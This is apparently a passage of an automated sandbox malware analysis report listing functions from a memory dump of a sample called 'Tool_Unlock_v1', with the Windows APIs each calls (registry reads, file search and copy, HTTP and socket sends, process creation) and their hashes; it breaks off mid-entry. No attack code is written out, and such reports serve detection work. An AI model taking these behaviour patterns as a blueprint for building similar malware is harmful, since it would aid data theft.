Opcode ID: ab9ab8f216446863b6f41e937027f7898c774551a8ce9d68b50b6674ad2ed687
Instruction ID: a609d455dadcda7d4da7f00a09e571967a80a940b9327cdee67abf928b1c9964
Opcode Fuzzy Hash: ab9ab8f216446863b6f41e937027f7898c774551a8ce9d68b50b6674ad2ed687
Instruction Fuzzy Hash: 32317372A003098BCB14DF69DD80ADAB3B5FF94304F048A19E849D7212EB70AB44CB95

Function 00409A20 Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 00409AB1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 3688a1a38a3c3ae001d35647d75b49d0dc6637fbdb5a2a1595deee64f18af3b6
Instruction ID: 9dbc942052e537e4330230e2d171a764f00cbff1e65de2c060d6ab12973a4d42
Opcode Fuzzy Hash: 3688a1a38a3c3ae001d35647d75b49d0dc6637fbdb5a2a1595deee64f18af3b6
Instruction Fuzzy Hash: 53216DB5A02218DFCB10DF6CDC8599AB7F4AF8C308B144165EC05D7312E6B0E951CBA5

Function 00418060 Relevance: 1.6, APIs: 1, Instructions: 61fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 00418125

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 42d93ae28a305bcfb3c7f8801ded5ca36fa17ffe7f4dcae6e6386b18e8473be6
Instruction ID: ea43a6ea75c90738f654f3de2f53e1191492a545106334335881037ba6664937
Opcode Fuzzy Hash: 42d93ae28a305bcfb3c7f8801ded5ca36fa17ffe7f4dcae6e6386b18e8473be6
Instruction Fuzzy Hash: BD212C71600749DFCB15CF69CC91BEAB3B5BF98304F008629E859D7251EB30EA58CB94

Function 004137D0 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0041387E

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: a8ca569cc6f09b2e9169ce782a805b99d5f1c018ab2501b446155a3949918ac8
Instruction ID: ec30d27aec306053b32cdd8e83ecc01507f01b08816cb4590bc4f0b37f3ca499
Opcode Fuzzy Hash: a8ca569cc6f09b2e9169ce782a805b99d5f1c018ab2501b446155a3949918ac8
Instruction Fuzzy Hash: EA212C362412048FCB24DF5CDDD5F99B3B5BF89204F544A64E90ACB355EAB0EA05CB89

Function 0042EC6D Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00032E90,?,00000000,00000000), ref: 0042ECC4

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4cec0ed782a452f304f1d219c5d6f818f2e2a7d5b77fbfd70856bf1af39b0323
Instruction ID: 4762d591fc6f0c4fe60047df32d5c3823bd2d28232a75d62ebb3b1e771563833
Opcode Fuzzy Hash: 4cec0ed782a452f304f1d219c5d6f818f2e2a7d5b77fbfd70856bf1af39b0323
Instruction Fuzzy Hash: 251173727403949FD204DF9CEC91F6973D9EB88B15F040029EA15D3392DAA5BE14CB5A

Function 00430320 Relevance: 1.6, APIs: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,006787F5,00000000,00020119,?), ref: 004303DC

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2b9569e4f0f2deaf81c6cad4acc09f12fe7c8b553d8513fc6641ab6944abea5a
Instruction ID: bdba702b5df4eeb8bfb7ae573b128a6f76064fd09833ec4320f9b7c79027d7a8
Opcode Fuzzy Hash: 2b9569e4f0f2deaf81c6cad4acc09f12fe7c8b553d8513fc6641ab6944abea5a
Instruction Fuzzy Hash: FC214521D147DA97EB50CB50DE917F97334ABFA304F21E359E84C62122EEB06AE48B54

Function 00427590 Relevance: 1.5, APIs: 1, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,00677BEC,00000000,00020119), ref: 0042764D

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 35ed64751626a73277e632667e97cfea92f0e04211dfa39237b028439e9d949c
Instruction ID: 9ea5fefe8d3e641e7677b41d67b91943ceaf1bf65cf39850b069c84e2d892df0
Opcode Fuzzy Hash: 35ed64751626a73277e632667e97cfea92f0e04211dfa39237b028439e9d949c
Instruction Fuzzy Hash: 3311F111D1C7C297E260CF14CE617B667A4ABF6248F15A71EB88C56162EAB065D48302

Function 00426F1F Relevance: 1.5, APIs: 1, Instructions: 46registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 00426FB7

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: fad0501151847a7fdac41513531f64ff5aa92b53cd785d1ccec49d788ed093a0
Instruction ID: 50753655269b6b2b5d32fdaf4a8f6b2c62ff3ea0718c284f8fe8931b48dd4938
Opcode Fuzzy Hash: fad0501151847a7fdac41513531f64ff5aa92b53cd785d1ccec49d788ed093a0
Instruction Fuzzy Hash: 45117CB1244345EFEB24DF99DE91E2A33E5EB84704F054429F40AD7261EAF0B805CB66

Function 00426130 Relevance: 1.5, APIs: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,00677AAA,00000000,00020119), ref: 004261A8

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 920c331305b407d94639ccbc702ffdbbb74f872e2c4f0ec84cd1b2657e357f02
Instruction ID: 21212943e46117e0024b14406cd437a6a859100ab9bc1e5b446351ca66444414
Opcode Fuzzy Hash: 920c331305b407d94639ccbc702ffdbbb74f872e2c4f0ec84cd1b2657e357f02
Instruction Fuzzy Hash: 480167B1743600BFD314DB66DD8AF1577A6AB99751F054024F904BB390E6E4BC04CB66

Function 00426870 Relevance: 1.5, APIs: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,00677B2C,00000000,00020119), ref: 004268E8

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6a775b98a1c560dfa1ebea150a5b1a9c7368b2a8969170a974c58e3a5febbae3
Instruction ID: 5f0db47a323a8f993686538fa900626cacdaeb3201946fc1ad1db0cda82bbed8
Opcode Fuzzy Hash: 6a775b98a1c560dfa1ebea150a5b1a9c7368b2a8969170a974c58e3a5febbae3
Instruction Fuzzy Hash: 44018476B05600BFD314DF69EE8EF1637B9AB44710F0A4064F981AB7A2D2F0AC048766

Function 00427669 Relevance: 1.5, APIs: 1, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00677C0D,00000000,00000000,?,?), ref: 004276A8

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c9144bf87baf78544f095da3b93295139052dd9811355157a2233eb48e848b5f
Instruction ID: 164d9f89307f67f819941fd108be71c3aa5401c26c20480d42925199ea2173ca
Opcode Fuzzy Hash: c9144bf87baf78544f095da3b93295139052dd9811355157a2233eb48e848b5f
Instruction Fuzzy Hash: 33F09076704205BFC614DF58ED95F96B3A8EF94704F050429F248D7271E2F0B915CB96

Function 00408894 Relevance: 1.5, APIs: 1, Instructions: 35networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 004088E7

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 8ca54120230f2a6bea54dacb3bff6dfd957389c7eb43f4443f72b4f1e9286909
Instruction ID: 385738e456934dc9b3faf4e8899280b5c9d36c666f6dcfefe9d5c786f0352523
Opcode Fuzzy Hash: 8ca54120230f2a6bea54dacb3bff6dfd957389c7eb43f4443f72b4f1e9286909
Instruction Fuzzy Hash: E401F6B5E002198FCB14EFA8CD409AEB7F5FF48700B150069A815E7362CB30AE10CF94

Function 004261C4 Relevance: 1.5, APIs: 1, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00677AE5,00000000,00000000,?,?), ref: 00426205

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0ce3b7228593dd87f688bbae20df07978c10227b5de1304fb1bc2a4c5b27ea9f
Instruction ID: 4721a054740d1736ef7cd2e5809be4d37aae98eeabea58afd09450616e6921ba
Opcode Fuzzy Hash: 0ce3b7228593dd87f688bbae20df07978c10227b5de1304fb1bc2a4c5b27ea9f
Instruction Fuzzy Hash: 18F0B475303504BFC701DB5AEC89E19B3A9EF88301F044025FE4897360E2E57914CB26

Function 004094F6 Relevance: 1.5, APIs: 1, Instructions: 33networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 004094FE

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: bf5dc1571544dbcd610c73f7e3e7f6a25bb6936ebcad9c33a1724fb22f9db56f
Instruction ID: 02535d0949d79613d4fc5c546fb5d4d0ab5401b46532560e4cf5925f9631b98a
Opcode Fuzzy Hash: bf5dc1571544dbcd610c73f7e3e7f6a25bb6936ebcad9c33a1724fb22f9db56f
Instruction Fuzzy Hash: D3018C36A422449FDB50EB98CC98FAE77B6FF88311B048054F912E7361D730BD058B95

Function 00409CEF Relevance: 1.5, APIs: 1, Instructions: 33networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET ref: 00409D1D

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 30b0db1278180047cf16761f1529211a281d889803e1e3e8e0d5325289a1ec37
Instruction ID: b909909ae5d908401e0ba5cf2340a72ed13b96fee01813f17bc55b83647bb0c1
Opcode Fuzzy Hash: 30b0db1278180047cf16761f1529211a281d889803e1e3e8e0d5325289a1ec37
Instruction Fuzzy Hash: 620136B0A03619EFDB10DF28C885F9A77B0AF4C718F104168F505D7291D7F1AA45CB55

Function 0040F7A0 Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0040F7F0

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 16f2c5c7c9a3b7795fa532a6438501be873fa835b7774c1326f17a3a7c30fbf2
Instruction ID: 60a41b3984419230890062584c289c0947e43bfdadef45bad8595d77173a2e01
Opcode Fuzzy Hash: 16f2c5c7c9a3b7795fa532a6438501be873fa835b7774c1326f17a3a7c30fbf2
Instruction Fuzzy Hash: 64F0C2315043549FD301EF2DCD80E9777E5AFC9714F058228E88087362FB70AA85C696

Function 00402510 Relevance: 1.5, APIs: 1, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020119), ref: 00402559

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a6e46184b857ee0ca7443b90f39cedf54d64181d0454106d59043098163a0a2e
Instruction ID: 0e5ef9a6c63e649b074d316bf8367d0d8a3c3e3298cb57994edf71753c463250
Opcode Fuzzy Hash: a6e46184b857ee0ca7443b90f39cedf54d64181d0454106d59043098163a0a2e
Instruction Fuzzy Hash: 7EF0BEB5205300AFD200DF39CCC9F2A7BE8EB9A311F504068F9009B3A5D270ED08CBA5

Function 00426FD5 Relevance: 1.5, APIs: 1, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00677BB7,00000000,?,?), ref: 00427021

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a57365ab659ec1c57ac928d6eaf82ff00265aa717e7e2324cd78fb02b26cc856
Instruction ID: a488ec3abadc9f2314fea96c8afdf389639d714746c46663f3c8957b002898b7
Opcode Fuzzy Hash: a57365ab659ec1c57ac928d6eaf82ff00265aa717e7e2324cd78fb02b26cc856
Instruction Fuzzy Hash: 7CF0F4F1348344AFEB10DF59CE92E2633E8EB98604F050969E945D7391E6F0AD058B6A

Function 0042608A Relevance: 1.5, APIs: 1, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00677AD8,00000000,00000000,?,?), ref: 004260CE

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a3e73c663c95f54103ed148dca430fc5e1fbe28f24785d64a9ad0538690d3e1b
Instruction ID: d3493d05c124d2c22cc6ca48e76e65b0c6505727409b6442ec15cec50f66dc62
Opcode Fuzzy Hash: a3e73c663c95f54103ed148dca430fc5e1fbe28f24785d64a9ad0538690d3e1b
Instruction Fuzzy Hash: 14F08C76244204BFD204EB08EE82F5573A8EF58750F02056AF948C7361E6B1AA028B96

Function 00426904 Relevance: 1.5, APIs: 1, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00677B5C,00000000,00000000,?,?), ref: 00426943

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 484f3469dde17adfcf1dfcf5aedc61403f9d1199f76eb91f986d5d87aaafc396
Instruction ID: 4286f73c8f36282d1b82f8670199632ee24d6f299e2eaf861376fb270af0c9f9
Opcode Fuzzy Hash: 484f3469dde17adfcf1dfcf5aedc61403f9d1199f76eb91f986d5d87aaafc396
Instruction Fuzzy Hash: 28F0A036705104FFC210EF98FD89E0673B9EB08700F0A4120FA89D7762E2F1E8148A76

Function 00426320 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(00000000), ref: 00426356

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 9ba7438a3039689aa6dd400ab43401e624eb97cc02168a0c6631c408f3277a15
Instruction ID: e297d1d2d985c6d3ef2d0ada67c56a5ff4e4f1a8fc66c36a0ad78018c10a3c65
Opcode Fuzzy Hash: 9ba7438a3039689aa6dd400ab43401e624eb97cc02168a0c6631c408f3277a15
Instruction Fuzzy Hash: C8E06DB17015016BD718EF19DD84F6A2799EBC6350F094018F904D3390DAB098408A6A

Function 0040D406 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000000,?,00000000), ref: 0040D463

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 743c579e75856ac7e05e60b61935b6c84a65256419c40fe43dc1c831fb5897bd
Instruction ID: b25d8374d77ba99b046f8f6b26505be3ad473be84028f8743806c0831a9a8fbf
Opcode Fuzzy Hash: 743c579e75856ac7e05e60b61935b6c84a65256419c40fe43dc1c831fb5897bd
Instruction Fuzzy Hash: FBF06DB16083818FE724CF24CC90BDA77E1ABC4308F048A1CE98C97261E7B5A684CB52

Function 004184B0 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004184E1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 686666b51b29f2d7e245a044f91467f13193f85114e7c73d5ad050a23fd31fa5
Instruction ID: 2f53c96ee375e5aee8aa3a7f35d271c9c5c59b882961e8b7b9ae2ae670a5a17e
Opcode Fuzzy Hash: 686666b51b29f2d7e245a044f91467f13193f85114e7c73d5ad050a23fd31fa5
Instruction Fuzzy Hash: 24F03AB67002198FE740CF68CC81A99B3F6EF98204B048664E805D7315E6B1ED52CB40

Function 004109C0 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004109F1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 485103659cc02b33a89be0b89775ff1aefb6af14742d2cb15c9895fe2355d726
Instruction ID: fda5c009c4e564f2abe590d7a98d59f35726f5e09ef1ecd240eb4cfbc2d6836a
Opcode Fuzzy Hash: 485103659cc02b33a89be0b89775ff1aefb6af14742d2cb15c9895fe2355d726
Instruction Fuzzy Hash: F1F058B1B002169FCB00CF68DC88E9A37A5FF88305B104469E801D7355EBB0EE02CB95

Function 004186FC Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0041871B

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1ebccb99c6d165703291bb656c10f88ca5b5cfa2c87e85c4abb33d2add4295b5
Instruction ID: a77a4b4748541eaaa65fcb889dc643faed51c2a92da5e4cbff0899a32b8c06fc
Opcode Fuzzy Hash: 1ebccb99c6d165703291bb656c10f88ca5b5cfa2c87e85c4abb33d2add4295b5
Instruction Fuzzy Hash: 9CF030327002588BDB0ACF29DCD06BC73EABF9C205B090199DC05D7752CBA8EE95DB49

Function 0040DB04 Relevance: 1.5, APIs: 1, Instructions: 24networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040DB32

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: eabb96dbdb68caccc4266733c8e83640fb2f5957b7af3c4bc6827cfdf4734d85
Instruction ID: c150f0d9f404116fa53a4ff3b28f1d571bce32827d73827b0dee8d21b8d3d422
Opcode Fuzzy Hash: eabb96dbdb68caccc4266733c8e83640fb2f5957b7af3c4bc6827cfdf4734d85
Instruction Fuzzy Hash: F1E04F763403148FD618DB7DEC90B6D33E5AB88618F180618E626D72E2D764EE428B5A

Function 00426032 Relevance: 1.5, APIs: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,00677AAA,00000000,00020119), ref: 00426073

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 34fed6a9563ed174b715a18762572829b98b42f5b0ab01fb3b4a96c4ef219fcd
Instruction ID: d153586b0610447867ff36fb3796083fd5be9b5c8df2c946f16255b41f39b3c9
Opcode Fuzzy Hash: 34fed6a9563ed174b715a18762572829b98b42f5b0ab01fb3b4a96c4ef219fcd
Instruction Fuzzy Hash: CAE01275344604AFD204EF18ED82F2533A5EF00744F17016EF90597292EAE1A9158B96

Function 0040CC5B Relevance: 1.5, APIs: 1, Instructions: 23filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000FFF,?), ref: 0040CC8E

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: e195e40cf533274182cb6baf935e6323cc375a357b122e899c96c74bcd5fd3b9
Instruction ID: 2d568ca5dc43531e1172c6db52ac28b1564ce8b2e3b2769ec36936ca2c495fe2
Opcode Fuzzy Hash: e195e40cf533274182cb6baf935e6323cc375a357b122e899c96c74bcd5fd3b9
Instruction Fuzzy Hash: C1F03075308102AFD358CB18D8D4F2B73E8AF48214F19042CF946C72A2EAB4AC44DB15

Function 0040F420 Relevance: 1.5, APIs: 1, Instructions: 22processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32 ref: 0040F466

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: be9362f060601f7946c27772b91c01970038e763e69a9c31abd94f20984068e6
Instruction ID: 1fec3b5e8a739f19f0635ea7dfdf9e2a1e69642f304033d07fc24b43efbc906b
Opcode Fuzzy Hash: be9362f060601f7946c27772b91c01970038e763e69a9c31abd94f20984068e6
Instruction Fuzzy Hash: DDF017B49093018BD308DF18D96479ABBF0AB5D304F01855CE889A3361EB309688CF46

Function 00410A81 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(00000000), ref: 00410AAC

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 339192952a2652a58a4629b8e618a4b15523dca471a8558272dc61c5b717692f
Instruction ID: d77d52bdad43e82f8c86433f73dd449019fe1d68509b28bf2fd95d6bf2fe0531
Opcode Fuzzy Hash: 339192952a2652a58a4629b8e618a4b15523dca471a8558272dc61c5b717692f
Instruction Fuzzy Hash: 76E01A726042029BC708DF69ECE4E6E3BA8EF482583040029A405C3262DA24EA01CB49

Function 00426EC4 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32 ref: 00426EF9

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: e9e5e0bdce5bc27e0acffdd90d2a9395c1f7fa8fa8583d25882df99f4b499e41
Instruction ID: 0775445a35936f30a9a77f3b540feab9491524f503e7b61df130da9e221e04f6
Opcode Fuzzy Hash: e9e5e0bdce5bc27e0acffdd90d2a9395c1f7fa8fa8583d25882df99f4b499e41
Instruction Fuzzy Hash: BBF05EB0608742EFD718EF16C69056AB7F1BFC8204F04CE1EE48957620E7B0A585CF86

Function 00428F30 Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008), ref: 00428F51

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 774ea98f79d4191311be93c83f6254ee0bbffc5f1a5c4d0979e4ece419ea9532
Instruction ID: 2118c6838425a95fc9c5334352ee45ba6265d672315eab6ea4d47ab60e5d3677
Opcode Fuzzy Hash: 774ea98f79d4191311be93c83f6254ee0bbffc5f1a5c4d0979e4ece419ea9532
Instruction Fuzzy Hash: 7CE09272341242DFC744CF68CC4490573E5BF486057028864DE42D7355EEB0ED918B55

Function 00409B44 Relevance: 1.5, APIs: 1, Instructions: 21networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET ref: 00409B72

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: a84a9d95cab3fc1d01d6b1b9219db7ccdf0885523acdc1814047f8a774d9c774
Instruction ID: 82beb621c7da24baa7bdf350377abcd4c8a9c9fca0bc03dfce5e902414a4f585
